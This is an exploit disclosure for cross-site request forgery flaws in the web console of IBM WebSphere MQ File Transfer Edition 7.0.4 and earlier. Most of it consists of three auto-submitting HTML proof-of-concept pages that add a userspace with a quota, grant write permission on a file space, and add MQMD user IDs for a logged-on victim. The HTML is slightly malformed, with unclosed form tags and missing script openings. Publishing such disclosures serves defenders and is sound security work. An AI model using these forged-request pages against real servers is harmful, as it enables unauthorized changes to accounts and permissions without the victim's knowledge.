*Exploit Author:* Nir Valtman

*Description:* Malicious user is able to add userspace, change permissions

on existing userspace and add MQMD (MQ Message Descriptor) user IDs. All of

the these vulnerabilities can be exploited using a CSRF (Cross Site Request

Forgery) attack.

Few days ago the CVE has

been published here<http://www-01.ibm.com/support/docview.wss?uid=swg21607482>

*Affected Platforms: *Version 7.0.4 and all previous versions of WebSphere MQ

File Transfer Edition<http://publib.boulder.ibm.com/infocenter/wmqfte/v7r0/index.jsp>running

on all platforms are affected.

* *

*Exploit Details:*

*1. CSRF To add user and define his quota on a userspace*

I created the following HTML page and then opened it by a logged-on user:

<html>

<body>

<form id="frm" method="post"

action="https://*[ip-address-and-port]* /wmqfteconsole/Filespaces"

<input type="hidden"

name="nirvcsrf" value="junk" />

<input type="hidden"

name="name" value="zzzzzz" />

<input type="hidden"

name="quota" value="15" />

<input type="hidden"

name="id" value="NewFileSpace" />

</form>

document.frm.submit();

</script>

</body>

</html>

See the following screenshot, which follows the execution of CSRF attack:

*2. CSRF to add permissions on file spaces:*

I created the following HTML page and then opened it by a logged-on user:

<html>

<body>

<form id="frm" method="post"

action="https://*[ip-address-and-port]*

/wmqfteconsole/FileSpacePermisssions"

<input type="hidden"

name="nirvcsrf" value="junk" />

<input type="hidden"

name="user" value="bodek2" />

<input type="hidden"

name="write" value="authorized" />

<input type="hidden"

name="id" value="zzzzzz_TEMP_PERMISSIONS" />

</form>

document.frm.submit();

</script>

</body>

</html>

*2. CSRF to add MQMD user id:*

I created the following HTML page and then opened it by a logged-on user:

<html>

<body>

<form id="frm" method="post"

action="https://*[ip-address-and-port]*/wmqfteconsole/UploadUsers"

<input type="hidden"

name="nirvcsrf" value="junk" />

<input type="hidden"

name="userID" value="csrfUserId" />

<input type="hidden"

name="mqmdUserID" value="userIdTest" />

<input type="hidden"

name="id" value="NewUploadUser" />

</form>

document.frm.submit();

</script>

</body>

</html>
